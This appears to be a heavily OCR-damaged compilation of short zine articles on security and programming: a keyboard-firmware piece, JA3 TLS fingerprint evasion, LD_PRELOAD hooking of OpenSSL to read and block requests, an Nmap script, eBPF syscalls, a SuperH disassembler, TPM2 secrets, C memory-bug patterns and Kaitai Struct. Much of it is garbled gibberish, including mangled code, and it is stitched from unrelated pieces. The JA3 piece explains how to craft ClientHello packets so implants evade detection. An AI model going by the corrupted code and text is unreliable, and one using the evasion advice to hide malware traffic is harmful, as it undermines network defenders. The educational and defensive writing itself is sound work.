#.5- 1534+#93 ¢ =E=gNMAM @agL; HA?k =E=gGN\Rk £l
af G +#9- Oh ? ! ( / 2"nB )3 ")$$#2#. 4h qo
/.34 5).4X] g4 JLI AG?G

+##9- 03 | G NLCRgLIQM G NLCRg=IFM A ¢

Ui A F; SI O\ E=g@  E=gPl FOk
E=gPk E=gPI F>k
E=g=k =E=gNIVk
E=gEk  =E=gGNR-£l
/1, 02/'#33g2#! /2" g53#2}

5).4X] g4 +#9! /" #k +#92#!/2"g4 2#!/2"~ ¢
37)41( }+#9! /" #~ ¢

I 3# =E=gGN\Rj o N(# G 42)8 +#9!/"# q=n

)$ }2#1 /2" cA#6#. 4h02#33#" ~ ¢
af =-"%30 !# }F=gFACC )3 4(# !-"n07). +#9 ~{n
2#9) 34#29! | "#} EEgFACC~| 4 0g!/"#} E=gMI=~I
5. 2#9%) 34#29! | " #} E=gFACC~l g"#, 9g-3}\ UL~
af N9O# ma#2-). ,h 00m ()4 #."4#2 qa
MPH>gMNLCHA} n4#2-). , h 00n~l g"#, 9g-3}"\ U~
4 0g!/"#}E=g?HN-I g"#, 9g-3} YUUU~I
af >/ 7.,/ 02/ % - 25. )4 f=
MPH>gMNLCHA} n! 52, (440j aa 2589h2#% #4h! : n
na, ).58a- 42)8n- 42)8h3( 2 3(n~l
4 0g!/"#} E=g?HN-I

£

2#452. $ , 3#

I 3# =E=gNM of N(# 490#3# $ +#9!/"# Yo

V$ }2#1 [ 2" cA#6#. 4h02#33#" ~
MPH>gMNLCHA} nafgggNSI ?M?F@ggfan~I

2#452. $ , 3#

"#$ 5, 4

2#452. 425#]

7<3&68&/°k3<

1705320 ). a#. 6 094(/.Z
)-0/24  3#][k /3k 2#
" A 13h0 4(h")2. -#}gg$), #99~
7)4( 10#.}"Vim+#9- 0g 3#th!m- 3 $
+ A $h2# "}~
A B#][h J[#. 1/ #}+h# 1] "#} ~~h"#1 [ "#} ~
7)4( 10#.}"Yim+#9- Oh!nk n7m~ 3 $
$h72) 4#} 2#h35 }

M¥a¥TgggNSI?MPF@gg¥T¥ank Kk +~~

https://me.micahrl.com



https://qmk.fm/
https://ergodox-ez.com
https://ergodox-ez.com
https://golem.hu/guide/first-macropad/
https://docs.qmk.fm/#/keymap?id=keymap-and-layers
https://docs.qmk.fm/#/keymap?id=keymap-and-layers
https://docs.qmk.fm/#/feature_combo?id=combos
https://docs.qmk.fm/#/feature_tap_dance?id=tap-dance-a-single-key-can-do-3-5-or-100-different-things
https://docs.qmk.fm/#/feature_leader_key?id=the-leader-key
https://docs.qmk.fm/#/feature_macros?id=macros
https://www.instagram.com/p/BkjD-F-npRv/
https://spacecat.design/products/launch-pad
https://github.com/qmk/qmk_firmware
https://me.micahrl.com/b/qmkhacks
https://me.micahrl.com
http://bruxy.regnet.cz

RinrRinin

Sponsorship Advertisement

HiRmin

O Oobiiidibboiiboooonto
A
HO0oobnooooboo

N


https://canary.tools/why

Bypassing a WLAN/WWAN BIOS whitelist on the example of Lenovo G580
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Confusing Defenders by Writing a TLS Handshake

Confusing Defenders by Writing a TLS Handshake

Max Harley

What makes TLS secure are the
cryptographic functions used between the
server and useris browser (which I will be
calling the ficlienté from now on).
Cryptographic functions that take plaintext
and output cipher text are called ciphers.
Since there are many ciphers available to
use, the server and client must agree on
what cipher to use when communicating. In
TLS, the cipher is chosen by a negotiation
between the client and server. The client
makes the first request (ClientHello) with all
the available ciphers (and extensions) that it
supports. The server then responds
(ServerHello) with a cipher that both the
client and server support. Now that the
server and client know how to
communicate, they are able to pass
encrypted data back and forth using the
chosen cipher.

A group of researchers consisting of John
Althouse, Jeff Atkinson, and Josh Atkins
realized that TLS libraries communicate
using the same five parameters from the
ClientHello message each time. One can
think of it like a better HTTP user agent.
This is called JA3 (Three people with first
and last names that start with JA). JA3 is a
useful detection mechanism for the blue
team since some malware and C2 agents
have unique JA3 signatures. For example, a
JA3 signature hash of Meterpreter on
Windows is
b386946a5a44d1ddcc843bc75336df c
e. The five ClientHello parameters JA3 uses
are the TLS version, list of cipher suites, list
of extensions, list of elliptic curves, and list
of elliptic curve point formats.

This article has been expanded on here:
https://medi '

Twitter: OxdabO

v TL%v1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake [22)
version: TLS 1.@ (@x@3al)
Length: 177
v Handshake Protocel: Client Hello
Handshake Type: Client Hello (1)
Length: 173
Version: TLS 1.2 (@wxd383)
» Aandom:
Session ID Length: @
Cipher Suites Length: 44
» Cipher Suites (22 sultes)
Compression Methods Length: 1
» Compression Methods (1 method)
Extensions Length: B8
Extension: server_name [len=27)
Extension: supported_groups (len=8)
Extension: ec_point_formats (len=2)
Extension: signature_alpgorithms (len=18}
Extension: status_request {len=5)
Extension: signed_certificate_timestamp (len=@)
Extension: extended_master_secret {len=8)

T ¥ YRR

Figure 1: ClientHello Packet

How would one break this form of
detection? Just make your own ClientHello
packet! There are really great libraries out
there for creating these packets (like
refraction.networkingts utls library in Go). By
crafting your own packet, you can stop
defenders from detecting your implants.
Blue team can fix their faulty JA3 detection
by pairing JA3 signatures with the process
image producing the TLS ClientHello
packet. If there is a client producing a JA3
signature that matches Firefox, but the
process is not Firefox, there is likely
something strange occurring. Try it out with
your favorite language. You can find our
implementation for Go at

https://github.com/CUCYyber/ja3transport.

Since this article was first written, John
Althouse came out with JA4+. The
fingerprint uses overlapping signatures to
JA3, so altering a JA3 signature will change
the JA4 signature as well. Learn more here:
https://blog.foxio.io/ja4-network-fingerprintin

g9-9376fe9cab37

Maxwell Harley
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TLS Decryption - Block% Speedrun

TLS Decryption -
Block% Speedrun

Today, internet tra c is almost completely encrypted.
Great for privacy, bad for some security defenses. Intru-
sion Detection Systems (IDS) can’t analyze encrypted
tra c. The current \solution" to this is for the IDS to
act as a proxy. This sucks for privacy and is an open
problem in IDS research.

The goal of this speedrun is to block HTTPS requests
that contain a certain string (\pwn") in the URL. Let’s
start decrypting with Tshark.

$ export SSLKEYLOGFILE=$PWD/keys. log
$ tshark -i ethO -w cap.pcap &
$ curl "https://example.com”
$ fg # bring to fg and send SIGINT
$ tshark -r cap.pcap -x -o "tls.keylog_Tile:
keys.log"
Decrypted TLS (1256 bytes):
@080 3c 21 64 6f 63 T4 79 70 65 20 68 7u 6d 6¢c 3e Pa <|doctype html>,

<html>.<head>.
<title>Example
Domain</title>.
<meta chars

et="utf-g" />,
<meta http-equ
iv="Content-type
" content="text/
html; charset=ut
f-8" [>. <met
a name="viewport
" content="width
=device-width, i
nitial-scale=1"

0018 3c 68 Td &d 6c 3e @a 3c 68 65 61 64 3Je Ba 20 20
8828 20 28 3c 74 69 T4 6c 65 3e U5 78 61 6d T8 6¢c 65
6838 20 44 6Ff 6d 61 69 6e 3c 2f T4 69 T4 6¢c 65 3e Ba
eeue ©ea 20 20 20 20 3c 6d 65 TU 61 20 63 68 61 T2 73
0050 65 74 3d 22 75 T4 66 2d 38 22 20 2f 3e Ba 20 20
8868 20 28 3c 6d 65 T4 61 28 68 TU T4 T 2d 65 T1 75
0878 69 76 3d 22 43 6Ff 68 74 65 6¢ T4 2d T4 79 T8 65
0888 22 20 63 6f Ge T4 65 G6e T4 3d 22 T4 65 T8 Tu 2f
00980 68 74 6d 6c 3b 20 63 68 61 T2 73 65 T4 3d 75 U
88aB 66 2d 38 22 20 2f 3e Ba 20 20 20 20 3c 6d 65 T4
68b8 61 20 6e 61 6d 65 3d 22 76 69 65 T7T 7O 6Ff T2 T4
86cO® 22 20 63 6f Ge T4 65 6e T4 3d 22 T7 69 64 TU 68
gede 3d 64 65 76 69 63 65 2d 77 69 64 Td 68 2c 20 69
00e@ 6e 69 74 69 61 6¢c 2d 73 63 61 6c 65 3d 31 22 28

But we can’t block this, it’s already on the machine!
Can we decrypt manually? We have the following
secrets logged (#HEX is a big hex number, format
explained in NSS* docs):
SERVER_HANDSHAKE_TRAFFIC_SECRET #HEX #HEX
EXPORTER_SECRET #HEX #HEX
SERVER_TRAFFIC_SECRET_0 #HEX #HEX

CLIENT_HANDSHAKE_TRAFFIC_SECRET #HEX #HEX
CLIENT_TRAFFIC_SECRET_O #HEX #HEX

You’'d think X_TRAFFIC_SECRET is the symmetric key we
need. But why are there two? More info in this in-depth
blogpost? and also in the RFC3:

[sender] _write_key = HKDF-Expand-Label (Secret,

"key", ", key_length)
[sender]_write_iv = HKDF-Expand-Label (Secret,
"iv", """, iv_length)

0-RTT Application ->
client_early_traffic_secret

Handshake ->
[sender]_handshake_traffic_secret

Application Data ->
[sender]_application_traffic_secret_N

This says we need to HKDF-Expand the application
tra c secret to get the shared key for the encrypted
data. That’s too much e ort and, from an engineer-
ing perspective, would mean that we have to manage
secrets ourselves, correctly identify the cipher used and

lhttps://udn._realityripple.com/docs/Mozilla/Projects/
NSS/Key_Log_Format

2https://blog.bithole.dev/blogposts/tls-explained/

Shttps://www._rfc-editor.org/rfc/rfc8446

sunbather

SAA-TIP0.0.7

have multiple ciphers ready to use. We skip the cryp-
tography to save time and we go straight to the hackiest
solution we can nd.

Time for some voodoo hook magic! Hooking is ba-
sically intercepting and changing function behaviour.
There are various ways of doing this, but one of the
simpler ones is using the Lb_PrReLOAD trick. Our targets:
SSL_read and ssL_write from OpenSSL. We write a li-
brary* overwriting these functions, point LD_PRELOAD to
it and call curl:
$ LD_PRELOAD=$PWD/hook.so.1l curl -s "https://

github.com/search?q=pwn" 1>/dev/null

PRI * HTTP/2.0

SM
d@??a??@?J???A?20?01?22?%?P?@??S*/*

Everything’s corrupted! What we’re seeing here is

HTTP2’s fancy compression algorithm, HPACK. If we

try the same request but with the ag --http1.1 added

to curl, the output is readable and clear:

$ LD_PRELOAD=$PWD/hook.so.1 curl -s "https://
github.com/search?g=pwn" --httpl.1 1>/dev/
null

GET /search?g=pwn HTTP/1.1

Host: github.com

User-Agent: curl/7.68.0
Accept: */*

Checking out HPACK’s RFC®, we can see it uses static
tables for the most common headers and then uses
indices to encode them. Headers that aren’t found in
the static table, are inserted in a dynamic table. For
some string literal values, Hu man coding is used.

Request headers Static table Encoded headers

:method GET

sauthority

:schene :method GET
thest exanple. con
:path Jresource ' referer '

Mozilla/5.0 ... 62

https

=
sle+]~]

Huffmann("/resource") |

user-agent

@
(4

custon-hdr some-value user-agent |Mozilla/s.0 ... Huffmann("custom-hdr") |

63| :host example.con Huf fmann( "some-value”) |

Dynamic table

We are aiming for WR on this particular speedrun, so

we can’'t start implementing HPACK decoders from

scratch. Keep hooking! After thorough searches in

libcurl, openssl, trial and error, we come across an

interesting function in libnghttp2 that should contain

the in ated payloads: nghttp2_submit_request. In action:

$ LD_PRELOAD=$PWD/hook.so.1 curl -s "https://
github.com/search?g=pwn" 1>/dev/null

:method GET

:path /search?qg=pwn

:scheme https

authority github.com

user-agent curl/7.68.0
accept */*

At last! We have both HTTP1 and HTTP2 requests
hooked and visible in plaintext. Now all that’s left is
blocking them. Quickest way to do so? Insert an exit
in your hooks, when detecting the word \pwn" in the
content of the request. Check the code! ©

4Inspired by Sebastian Cato’s repository https://github.com/
sebcat/openssl-hook

Shttps://www. rfc-editor._org/rfc/rfc7541

Shttps://github.com/Costinteo/hook-https

https://github.com/Costinteo
https://dothidden.xyz
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#nmap -p80,443 husseinmuhaisen.com
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for husseinmuhaisen.com
Host is up (0.0011s latency).
Other addresses for husseinmuhaisen.com ({

PORT STATE SERVICE
80/tcp open http
443/tcp open https
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Twitter: https://twitter.com/husseinmuhaisen
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Writing your first Nmap script
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#nmap -p80,443 --script=test husseinmuhaisen.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-03
Nmap scan report for husseinmuhaisen.com (104.21.57.1

Host is up (0.0020s latency).
Other addresses for husseinmuhaisen.com

(not scanned)

PORT STATE SERVICE
80/tcp open http

| test: [+] Port is open.
443/tcp open https

| test: [+] Port is open.
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A minimal Version Control and Continuous Deployment Server with Git and Bash

A minimal Version Control
and Continuous Deployment
Server with Git and Bash

Continuous Integration/Deployment (CI/CD) en-
sures that code changes are automatically
tested, integrated, and deployed.

This guide sets up a minimalistic version control
and CD server using Git and Bash. You Il estab-
lish a Git server on a remote Linux machine, set
up your local project, and trigger deployments
seamlessly on each pushed commit.

Setup the Git server

0 (O 00 0000 0000
(10 [0 O (00

(10 [0 (OO

(0 OO0

O (I TIITTTIITT

(110 010

(0 010

0 D 00 O 000 00 OO0 1011

| 0 00 [0 00 00 00 000 O

O (OO0 OO0 (00 OO0 (0

O 0 OO0 (L]

0 0 (110

Setup the deployment

0 0 O 000 00 OO0 00 M 00 00010

M OCIITIITTTTITT]

T M O TTTTTT

(0 (I 1]

10 10

I 11T OO 1111 O
ENEEEEEEEEENENENEEENENEEEEE

O (I T

0 00 OO0 [0 00 OO0 0 OO

0 OO0 00 00000 000 00 000 000

0 000 M0 00 OO0 0 00 0000010

(I [T OO I T

CLITITITTITT

(L0 OO OO

O OO T T T T T T T T

(I O T T (T
HEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEENEEEEEEEEEE
0 OI110 OO O 01 11T

0 OO0 O O (T T O
O OO OO OO (O OO (O
HEEEEEEEEEENENENEEEERENEEENEEEEREENNNEEEEEEEN
HEN

111 O 11111

Add the deployment trigger
0D 00000 M0 M M 000010
0 M 000 OO0 000

(0 O O T

(0 0 (0 OO T
EENEERREREN

Antoine Viau

Public Domain
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Notes

The previous instructions assume that your re-
mote server allows SSH connections with pass-
word authentication. If not, you probably have to
update your [(IITIIITITIITITITITHaccordingly.
But of course, you should use proper security
practices: SSH private/public keys.

https://github.com/AntoineViau
https://antoineviau.com
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Adding a custom syscall without modifying the Linux kernel eBPF

Adding a custom syscall
without modifying the
Linux kernel T eBPF

Can one define a new syscall without modifying the
Linux kernel? Yes, this article shows how to do it in
tens of lines of code.

Let us set a target: add a custom system call
that counts how many times a given thread* called it.

Linux provides a mechanism called eBPF
(extended Berkeley Packet Filter). This mechanism,
initially meant for packet filtering, was extended later,
allowing for more now, including installing hooks on
kernel- and user-space functions. In short, one can
write a program, compile it into eBPF bytecode, and
load it into the kernel. The kernel verifies the bytecode
safety when loading it2.

eBPF programs can be attached to tracepoints
and functions in the kernel. Here is the idea: let us
attach such a program to kqké&] f1]j, which is called
when performing a system call®.

The following example uses bcc (BPF Compiler
Collection) and was run on Linux 6.5.9.

To start, we need some boilerplate script that
compiles a program into eBPF bytecode and loads it
into the kernel:

Njge Z[[ aehgjl "0&
N ge lae] aehgj!| kd]]h

Z d "0&YKkj [ érad] di zh~éhjg b

| j g/Ekd] ] hYAAAAP
Ipl1hl +1gzgYj\)fl]jjnhl ££hYkk
Now, it is time for the eBPF program itself:

g\]7af] -96393#!,, 6./ UpUGUUA

"0&&(!3(Yha\ O[ f1 A midA nyypA

ki Yl a] nga\ eqékgk[ YddYnyya j]1eézntpPA

1 Why thread? For simplicity, to avoid the need for synchronization.

2 This solution can have a funny, or rather annoying, side effect:
when modifying code, the compiler can decide to generate a
different bytecode for fineighboringd code, causing the eBPF verifier
to change its verdict on the safety of the code.

3 An alternative idea, to avoid attaching directly to kgké] f1]j , would
be to attach code to an existing syscall and specify a magic value
that is considered invalid 7 for example -42 (negative number) as a
file descriptor.

4 In the kernel, process means a userspace thread. A userspace
process is known as a thread group in the kernel.

https://github.com/mrowga

421 #901 ) . 4802/ " %] Yoékgk[ YddkA kaké] fl]j b &
a® YY] _kEea\ dd -98393#!,,8./b &
nyya j]lézm d YnyyabYj kEeY] kRruaA
eqékak[ YddYj ]| éZnfPA

a

i1Imf UA
a

kI Yl a] nga\ eqékgk[ YddYnyya j]1é&zmb &

mid ha\ d zh"é ]1é&[njj]fl&ha\él _a\ YPA

nyy rljg d uA ,

nyya nyd d ha\ O[ f| Gdggcrhégj él j géafal Y
uha\ A pr]j gPA b

a* Ynyd dd .5,,PpajlimfAa

anvd ¢d GA

Zh~éhj gZ] éoj al ] énk] j Y
j11ezmA nYdA kar] g"YnyyppA

afl chj gz] éé\ gé] pal Yp &
mid ha\ d zh~e ]1é[njj]fl éha\ el a\ YPA
ha\ Q[ f1 Q\]d] I ] Yihal PA
ilimf oA

a

The last piece, for testing the new syscall:

aehgj | [l gh]k
aehgj | Kkljnil

-98393#! ,, 6./ d UpUGUGA
daz[ d [Igh]kC#S, , Y. of | b
zZmt d [Ighl k1Y ] ekl jaf_ézmtA]j Vap

Agj a af jYf_]YaybAE
daz[ Ckok[ YddY- 9€393#! , , €./ A Zmfb
fregj]l d kljnfl OnihY[cYiE 1A ZnmtQg YobRua
hjaf | Ynegj]1 b

If our eBPF program is loaded, the tester script will
print consecutive numbers.

In barely tens of lines of code, one can define
their syscall. This article just scratched the surface of
eBPF possibilities, and there is more to explore out
there for curious readers!

5 These fimethod callsé are achieved by having a struct member that
is a function pointer. Later, custom clang frontend rewrites this code,
finliningo these imethods.o

¢ An alternative is zh"égn]jja\]é&j]Imf, which allows for
overwriting the return value of certain kernel functions. Both
approaches have security implications.

Artur Jamro
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Building a SuperH-4 (dis)assembler

Programming

Building a SuperH-4 (dis)assembler
by Dhruv Maroo, for Paged Out!

What is SuperH?

SuperH is a 32-bit RISC architecture for embedded systems, developed
by Hitachi, and currently owned by Renesas. The ISA which we are
concerned with is SuperH-4 (a.k.a. SH-4).

It has a small, constant-width (2-byte wide) instruction set, with 16
general purpose registers, and separate banked registers for the priv-
ileged instructions. It has an FPU too, but we won’t be considering

oating-point instructions (and corresponding registers) in this article.

Goal

The goal is to come up with a simple, maintainable, extendable and
safe assembler and disassembler. Now, if you search online, you
will nd multiple articles roughly outlining how to implement such
a (dis)assembler. Almost all of them resort to using some variation
of conditional matching, could be if-else conditions, pattern matching,
switch-cases and so on. But this approach is not the best way to go
about it.

Why? Because, there is a lot of code and a lot of conditions, which
makes it harder to understand, navigate and maintain. Try having
a look at QEMU’s TCG source code to see how cumbersome it can
become to maintain such code patterns.

Solution

Factor out the entire common computation by exploiting the instruc-
tion structure, and store the remaining instruction-speci c stu as data
rather than code. Doing this allows us to keep the (dis)assembly code as
generic as possible, thus reducing repetition. This also introduces a log-
ical separation between all the instructions, allowing the programmer
to modify one instruction’s attributes without worrying about other
instructions being a ected. This allows for incremental development
and easier debugging. Lookup-tables try to do exactly this, in some
capacity, but what I’'m suggesting is smarter lookup-tables.

Code

I worked on the SuperH (dis)assembler for Rizin, and you can nd all
the relevant code in the librz/asm/arch/sh directory. The directory has
the following les.

$ tree librz/asm/arch/sh

librz/asm/arch/sh
|-- assembler.c
|-- assembler.h
|-- common.h # helper structs and macros
|-- disassembler.c # generic disassembler code
|-- disassembler.h
|-- lookup.c

|-- regs.h

# generic assembler code

# instruction lookup tables

1 directory, 7 files

The design of the (dis)assembler is interesting, but for the sake of
brevity, I will only discuss things which | nd pretty cool.

Macro passed as an argument to a macro

There are multiple macros in the common.h le. Some of these are nested
macros which also take in arguments. | speci cally want to discuss the
OPCODE macro.

// to form opcode in nibbles
#define OPCODE_(a, b, c, d) Ox##a##b##cHid
#define OPCODE(a, b, ¢, d) OPCODE_(a, b, c, d)

The above macro just concatenates the 4 nibbles to form a 2-byte
word in hexadecimal. It seems unnatural and unnecessary to de ne the
OPCODE macro with another helper OPCODE- macro. But it is really useful
if we are going to pass in a macro as one of the arguments to the macro.
This way the macro argument gets evaluated and does not get directly
used in the OPCODE macro. Consider the following usage.

// placeholder byte for operand
#define I £ // immediate operand
#define N ¥ // register Rn operand

int a = OPCODE(a, I, 4, N); // Oxaf4f

Without using OPCODE., the value of a would be Oxal4N which is ob-
viously incorrect and is not even a valid hexadecimal value. But using
a second helper macro makes the preprocessor perform two passes on
the code, which results in the correct answer (0xaf4f). This is going to
be very useful in the lookup table since it will allow us to specify the
instruction opcode/bytes in a neater manner.

Dhruv Maroo

CCO

Smart lookup table entries

Let’s take a look at the lookup table entries (found in lookup.c).

// MOV.W Rm, @Rn | Ox6NM1 | store Rm in a word at memory Rn

{ "mov.w", SH_OP_MOV, OPCODE(6, N, M, 1), // mnemonic and opcode
0x0ff0, SH_SCALING_W, // opcode mask and scaling
{ ADDR(NIB1, SH_REG_INDIRECT), // Rn indirect operand
ADDR(NIB2, SH_REG DIRECT) } } // Rm operand

// ADD Rm, Rn | Ox3NMc | add Rm to Rn

{ "add", SH_OP_ADD, OPCODE(3, N, M, c),
0x0Tf0, SH_SCALING_INVALID,
{ ADDR(NIB1, SH_REG_DIRECT), // Rn operand
ADDR(NIB2, SH_REG _DIRECT) } } // Rm operand

// OR #imm, RO | Oxcbll | logical or imm with RO
{ "or"”, SH_OP_OR, OPCODE(c, b, I, I),
0x00FF, SH_SCALING_INVALID,
{ ADDR(NIBO, SH_IMM_U), // imm operand
PARAM(RO, SH_REG_DIRECT) } } // RO operand

There are a bunch of macros being used in the above snippet, but
the basic idea is encoding the operands and the positions where these
operands occur. Now, while assembling, we can just search for the
mnemonic and the operand types/encoding, which will give us the cor-
rect instruction. And now we can use the opcode with the correct
operand nibbles (NIBO, NIB1 and so on) and get the assembled instruc-
tion. During disassembly, we will mask out the operand values and
search for the opcode, and then extract the operand values from the
operand nibbles.

Uni ed (dis)assembler code

Because of this table, the (dis)assembler code is very generic and
just loops through the lookup table and does some string manipula-
tions. There is no complexity, nor any coupling with the ISA in the
(dis)assembler code (assembler.c, disassembler.c). Plus, modifying or
adding instructions can be done independently without a ecting other
instructions at all. E ectively, we have moved all the computation to
the data in the lookup table, which leads to much neater code. More-
over, generating lookup tables is a very straightforward task and can
be automated as | discuss in the Future work section.

Possible improvements

Currently, the lookup-table is just a C array, but it can be changed to a
better data structure. Something like a splay tree (or even if-else con-
ditions) would improve search times. In fact, ordering the instructions
in the likelihood of their occurrence would also improve the speed.

Moreover, the type system does not enforce the validity/consistency
between the opcode and the operands. This sort of type veri cation
would be feasible in a strongly-typed functional language, like OCaml.

Lastly, it may not always be possible for every ISA to be decoupled
this easily. A more general approach is required if we need this to be
extendable to other architectures as well.

Current standard

There is no well-known assembler+disassembler framework. But, Cap-
stone is a state-of-the-art disassembler and Keystone is a well-known
assembler. Capstone does not have a lookup based architecture and
resorts to matching the instructions byte-by-byte. Keystone, on the
other hand, is built on LLVM MC. This approach of reusing the LLVM
tool is much better since this avoids parser di erential issues, and leads
to less code needing to be maintained. There is also an e ort of shift-
ing Capstone to start using LLVM’s TableGen backend. In this new
approach, the TableGen entries are used to programmatically generate
disassembly code.

Future work

With the rise of LLMs, we can automate the lookup table generation.
Since the (dis)assembler code is generic and ISA-independent, we only
need to write it once and after that we can just feed in the program-
mer manual to an LLM which can (ideally and hopefully) generate the
correct lookup tables for that architecture. In fact, if you want to try
it out by yourself, you can pass in the lookup table format and a few
instructions from the manual to ChatGPT, and ChatGPT will likely
generate accurate lookup table entries for those instructions.

Acknowledgements

I built the (dis)assembler for Rizin, a reverse-engineering framework.
Do check it out, it’s a pretty cool tool! Since then, a SuperH disassem-
bler has been merged into Capstone. | also presented on the same topic
at my university, and you can nd that presentation here (it is slightly
more detailed).
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Creating PDF/Plain Text Polyglots with LuaLaTeX
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Idea behind Khazad-d m aTPM2 secret manager!

Idea behind Khazad-didm b a TPM2
secret manager!

The main idea is to prevent an attackers from further
escalation once they succeed in executing a remote
Arbitrary File Read attack by properly protecting
secrets (e.g., database credentials). For this, the
TPM2 chip was used, which is now quite common.
That's how the Khazad-ddm project was born with
the name referring to Moria - the dwarven city from J.
R.R. Tolkien's Middle Earth Mythology.

The secrets should be delivered to the application
server already in encrypted form, so elliptic curve
cryptography and the Diffie-Hellman protocol,
supported by the TPM2 standard, will find their
application here. And the encryption of the secrets
should be done using AES256-GCM, where the key is
derived from the Diffie-Hellman protocol.

Steps:

1.! [APPSRV] Generate the secret encryption policy,
thatis, the type of algorithm, the public key of the
application server from the TPM.

2.! [DEVHST] Create an EC key pair on our machine.

3.] [DEVHST] Based on the encryption policy and
our key pair, we encrypt the secrets and deliver
them to the application.

4.! [APPSRV] The application at startup calculates
the AES256-GCM symmetric key using ECDH,
which is used to decrypt secrets.

5. [APPSRV] Seal secrets in the TPMis volatile
memory.

6. [APPSRV] If necessary, the secrets are decrypted
using TPM's native functions and transferred to
the appropriate libraries.

An HMAC session is created, which is a secure

connection between the application and the TPM. To

establish it, an additional parameter !"'#1$%$&" can
be used, which is a kind of authentication method.

It's not that if you enter a bad password, you can't

establish a session, you can, but because 1"'#1$%$&"

is the input value to the Key Derivation Function, thus

a different 1#1$%$&" is a different key. And this

applies to any types of keys (EC, AES, etc.) in the

context of an established session. Our secrets are

Mateusz Lewczak

WTFPL

then added to the TPM's volatile memory, which the

chip encrypts using AES256 obtained from KDF. This

process is called 1" ($#). If necessary, secrets can be

extracted from TPMis memory in the form of cleartext

using the *#1"* ( operation.

If we didn't care about convenience and automation

in deploying our application, we might even be

tempted to create a solution that would require

entering a password as the sensitive parameter of

our session during launching app:

1.!' Launch the application.

2.!' Enter the password (sensitive) of our session.

3.1 Application establishes a secure session with the
TPM, which uses KDF to generate keys.

4! Application removes the password
memory.

5.I' Application still has access to the TPM session.

6.! PROFIT!

In this situation, the attacker would need our
password, and attempts to crack it are hindered by
the TPM's built-in locking mechanisms. Thus brute-
force becomes an online attack. And after several
unsuccessful attempts, the TPM temporarily blocks
access.

This project can be problematic because with large
infrastructures it requires generating a sealing policy
on each host and providing secrets. The same with
the Password Method, what if for some reason our
application/container ~ resets?  Without  our
intervention, it won't be able to run.

Note: Adding a password to environment variables is
not the solution my friend!!

On the other hand, a definite advantage over the
currently available Vault is that we don't have to
worry about maintaining it. Remember that Vaults
are another software that should be properly
secured against unauthorized access. And of course!
Vaults themselves also have their vulnerabilities :)
This project is an inspiration and a different
perspective on the matter. Maybe you can find some
solutions to the presented problems?

For more visit GitHub
https://github.com/LeftarCode/khazad-dum
WARNING: Deployment in production risks a Friday fire!!! (] 1"})

from

repo:

GH: https://github.com/leftarcode
Website: https://mlewczak.com/
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Most common memory
vulnerabilities in C/C++

Most common vulnerabilities in C/C++
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type VARIABLE = malloc(sizeof(type))
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type VARIABLE[SIZE]
VARIABLE = (VALUE > SIZE)

void vulnerable_function()
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type VARIABLE = malloc(sizeof(TYPE))
free VARIABLE

free VARIABLE

}
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type *VARIABLE = malloc[SIZE]
*VARIABLE = (VALUE > SIZE)
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type VARIABLE[SIZE]
VARIABLE[> sizeof(VARIABLE)] = VALUE
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type VARIABLE[SIZE]
LOOP condition: if counter == sizeof(VALUE) then
VARIABLE++
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void process_string(char *src)
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type VARIABLE = malloc(sizeof(TYPE))
free VARIABLE

VARIABLE = VALUE
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if (err) {
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type STRING[SIZE]
func READ(VALUE)
string = (VALUE > string[SIZE])
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HEY YOU! Feel like a Hacker?
GOHUNT on https://up-for-grabs.net

@2ourc3 || https://bushido-sec.com
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One parser to rule them all!

Kaitai Struct: one parser to
rule them all!

Writing a parser can be a tedious task, albeit necessary
in many situations. It can be the case because there is no
library available in the programming language you use for
manipulating a certain le format, or because you are work-
ing on reverse engineering an unknown binary structure. In
all cases, Kaitai Struct® is here to get your back!

Kaitai Struct is a generic programming-language-
independent binary-structure parser taking a YAML descrip-
tion as input and generating a language-speci ¢ parser as
output. The YAML description uses a declarative syntax,
which means that you only describe the very structure of
the data, not the way to parse it. This provides an elegant
way to speed up the process of writing a parser while get-
ting a generic description of the binary structure at the end.
Kaitai Struct is used by some well-known projects such as
Kismet?, mitmproxy®, Binary Ninja* and ZAP®.

Since a concrete example is often more e cient than a long
description, let’s have a look at a code snippet:

meta:
id: arp_packet
title: ARP packet
license: MIT
ks-version: 0.7
endian: be
seq:
- id: hw_type
type: u2
enum: hw_types
doc: Hardware type
- id: proto_type
type: u2
enum: proto_types
doc: Protocol type
- id: len_hw
type: ul
doc: Hardware length
- 1d: len_proto
type: ul
doc: Protocol length
- id: operation
type: u2
enum: operations
doc: Operation
- 1d: sender
type: host_info
doc: Sender information
- id: target
type: host_info
doc: Target information
types:
host_info:
seq:
- id: hw_addr
size: _parent.len_hw
doc: Hardware address
- id: proto_addr
size: _parent.len_proto
doc: Protocol address
enums:
hw_types:
0x1: ethernet
operations:
0x1: request
0x2: reply
proto_types:
0x0800: ipv4
0x86dd: ipv6

Thttps://kaitai.io
2https://www.kismetwireless.net
Shttps://mitmproxy.org
“https://binary.ninja
Shttps://ww.zaproxy.org

Paul-Emmanuel Raoul

CCBY-SA4.0

We can see four main sections in this example:

meta Metadata of the le description such as its title, le
extension if any, license, default endianness to use when
parsing, etc.

seq Sequence of attributes with their type, size when needed
(e.g. strings), documentation, etc.

types It is possible to create your own types and to instan-
tiate them like | did for sender and target. They are
both of type host_info, which is de ned in the types sec-
tion. As you can see, each type has its own sequence of
attributes.

enums Like with any programming language, enumerations
are used to list the possible valid values of an attribute.
Here, the enumeration operations comprises the di erent
values of the eld operation.

Once you have your format description ready, you can use
the Kaitai Struct compiler to generate a parser for the pro-
gramming language of your choice. For instance, to generate
a Python parser:

$ kaitai-struct-compiler -t python arp.ksy

And to use the parser in Python:

from arp_packet import ArpPacket
from ipaddress import IPv4Address

data = ArpPacket.from_file("raw_arp.bin'™)

if data.proto_type == ArpPacket.ProtoTypes.ipv4:
print(IPv4Address(data.target.proto_addr))

The Kaitai Struct compiler is also capable of generating a
graph representation of the format description in DOT for-
mat®. Graphviz’ can then be used to generate a picture from
the DOT le:

$ kaitai-struct-compiler -t graphviz ds_store.ksy
$ dot -T png -0 ds_store.png ds_store.dot

type id

0 | 2 | u2be—=HwTypes | hw type |  -.......... ... ... .. .. ... ...........
2 | 2 |u2be—ProtoTypes |proto_type ArpPacket:HostInfo

411 ul len hw ———frod _— sizo s id

511 ul len_proto : .| 0 | _parentlen hw hw_addr |
6 | 2 |uZzbe—Operations | operation . | ... |_parent.len_proto proto_addr .
8 .. HostInfo sender

HostInfo target

—X‘/A ......................... :

